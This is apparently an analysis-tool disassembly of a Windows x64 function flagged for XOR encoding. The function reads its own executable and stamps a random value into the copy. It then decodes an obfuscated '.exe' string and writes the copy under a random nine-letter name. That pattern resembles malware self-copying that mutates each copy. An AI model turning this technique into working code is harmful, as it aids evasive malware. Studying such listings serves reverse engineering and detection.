Function at 0x1401a98c0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0xc8]
sub rsp, 0x1c8
mov r8d, 0x104
mov byte [rbp - 0x60], 0
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
call fcn.140141104
xor r15d, r15d
mov qword [rbp - 0x68], 0xf
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x80], r15
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x70], r15
call fcn.14013eec4
cmp qword [rbp - 0x68], 0x10
lea rcx, [rbp - 0x80]
mov r9, qword [rbp - 0x70]
cmovae rcx, qword [rbp - 0x80]
test r9, r9
je 0x1401a997d
lea rax, [r9 - 1]
cmp rax, r9
cmovb r9, rax
add r9, rcx
cmp byte [r9], 0x5c
je 0x1401a994e
nop dword [rax]
cmp r9, rcx
je 0x1401a997d
dec r9
cmp byte [r9], 0x5c
jne 0x1401a9940
sub r9, rcx
cmp r9, 0xffffffffffffffff
je 0x1401a997d
xor r8d, r8d
mov qword [rsp + 0x60], r15
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], 0xf
call fcn.1401a6690
jmp 0x1401a99a1
lea rdx, [0x1404c05a8]
mov qword [rsp + 0x60], r15
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
call fcn.14013eec4
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1401a99dc
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401a99d7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401a9e2e
call fcn.1403cad84
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x1f0], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
call fcn.14013eec4
cmp qword [rsp + 0x58], 0x10
lea rcx, [rsp + 0x40]
mov r9, qword [rsp + 0x40]
setae r10b
jb 0x1401a9a23
mov rax, r9
mov rcx, r9
jmp 0x1401a9a28
lea rax, [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rdx, [r8 + rax]
cmp rdx, rcx
je 0x1401a9a48
cmp byte [rdx - 1], 0x5c
lea rax, [rdx - 1]
je 0x1401a9a48
mov rdx, rax
cmp rax, rcx
jne 0x1401a9a36
test r10b, r10b
lea rax, [rsp + 0x40]
cmovne rax, r9
cmp rdx, rax
je 0x1401a9aa1
test r10b, r10b
lea rax, [rsp + 0x40]
mov r10, r15
je 0x1401a9a78
sub rdx, r9
mov rax, r8
sub rax, r15
cmp rax, rdx
cmovb rdx, rax
jmp 0x1401a9a87
sub rdx, rax
lea r9, [rsp + 0x40]
cmp r8, rdx
cmovb rdx, r8
sub r8, rdx
lea rcx, [r9 + r10]
mov qword [rsp + 0x50], r8
add rdx, rcx
sub r8, r10
inc r8
call fcn.1403cc5a0
mov rax, qword [0x140549208]
lea rcx, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x2000000
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call rax
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1401a9d90
mov r8, qword [0x140549280]
xor edx, edx
mov qword [rsp + 0x1c0], rsi
mov rcx, rax
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x1b0], r14
call r8
mov edi, eax
mov r14d, eax
test eax, eax
jne 0x1401a9b15
mov rsi, r15
jmp 0x1401a9b3c
mov r9d, 4
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r8, r14
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.1403ccc50
mov rax, qword [0x140549160]
lea r9, [rbp + 0xe8]
mov r8d, edi
mov dword [rbp + 0xe8], r15d
mov rdx, rsi
mov qword [rsp + 0x20], r15
mov rcx, rbx
call rax
test eax, eax
jne 0x1401a9b91
mov r8, r14
xor edx, edx
mov rcx, rsi
call fcn.1403ccc50
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.kernel32.dll_VirtualFree]
mov rcx, rbx
call qword [0x140549178]
jmp 0x1401a9d78
mov rcx, rbx
call qword [0x140549178]
call fcn.140141104
rdtsc
shl rdx, 0x20
lea rcx, [rbp + 0xe0]
or rax, rdx
mov qword [rbp + 0xe0], rax
call qword [sym.imp.ntdll.dll_RtlRandom]
mov r8d, eax
xorps xmm0, xmm0
mov eax, 0x92492491
mul r8d
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
shr edx, 0x1e
imul ecx, edx, 0x70000001
sub r8d, ecx
add r8d, 0xfffffff
mov dword [rsi + 0x138], r8d
call fcn.140141104
xor ecx, ecx
call fcn.1403e0c10
mov rcx, rax
call fcn.1403df874
lea rbx, [rbp - 0x80]
mov edi, 9
nop dword [rax]
call fcn.1403df848
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x17
sub r8d, ecx
add r8b, 0x61
mov byte [rbx - 1], r8b
sub rdi, 1
jne 0x1401a9c10
xor eax, eax
mov dword [rbp + 0xe0], 0x667a642e
mov byte [rbp + 0xe4], al
mov ecx, r15d
nop word [rax + rax]
movsxd rax, ecx
xor byte [rbp + rax + 0xe0], cl
inc ecx
cmp ecx, 4
jb 0x1401a9c60
lea rcx, [rbp - 0x80]
mov byte [rbp + 0xe4], r15b
dec rcx
nop
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x1401a9c80
lea r8, [rbp + 0xe0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1401a9ca0
mov word [rbp + 0xe0], 0x5c
mov ecx, r15d
nop dword [rax]
movsxd rax, ecx
xor byte [rbp + rax + 0xe0], cl
inc ecx
cmp ecx, 1
jb 0x1401a9cc0
mov rbx, 0xffffffffffffffff
mov byte [rbp + 0xe1], r15b
mov r8, rbx
lea rax, [rbp + 0xe0]
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1401a9cf0
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x60]
call fcn.140194e18
lea rax, [rbp - 0x80]
nop
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1401a9d10
mov r8, rbx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140194e18
cmp qword [rsp + 0x78], 0x10
lea r8, [rsp + 0x60]
mov r9d, 4
mov dword [rsp + 0x20], 0x2000000
cmovae r8, qword [rsp + 0x60]
mov rdx, r14
mov rcx, rsi
call fcn.140203370
test al, al
je 0x1401a9d78
cmp qword [rsp + 0x78], 0x10
lea rcx, [rsp + 0x60]
cmovae rcx, qword [rsp + 0x60]
call fcn.140204590
call fcn.1401418e8
call fcn.1401f1d40
mov rdi, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1c0]
mov r14, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x1f0]
cmp rdx, 0x10
jb 0x1401a9dd1
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401a9dcc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401a9e28
call fcn.1403cad84
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], r15b
cmp rdx, 0x10
jb 0x1401a9e1d
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401a9e18
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401a9e28
call fcn.1403cad84
add rsp, 0x1c8
pop r15
pop rbp
ret
call fcn.1403d7020
int3
call fcn.1403d7020
int3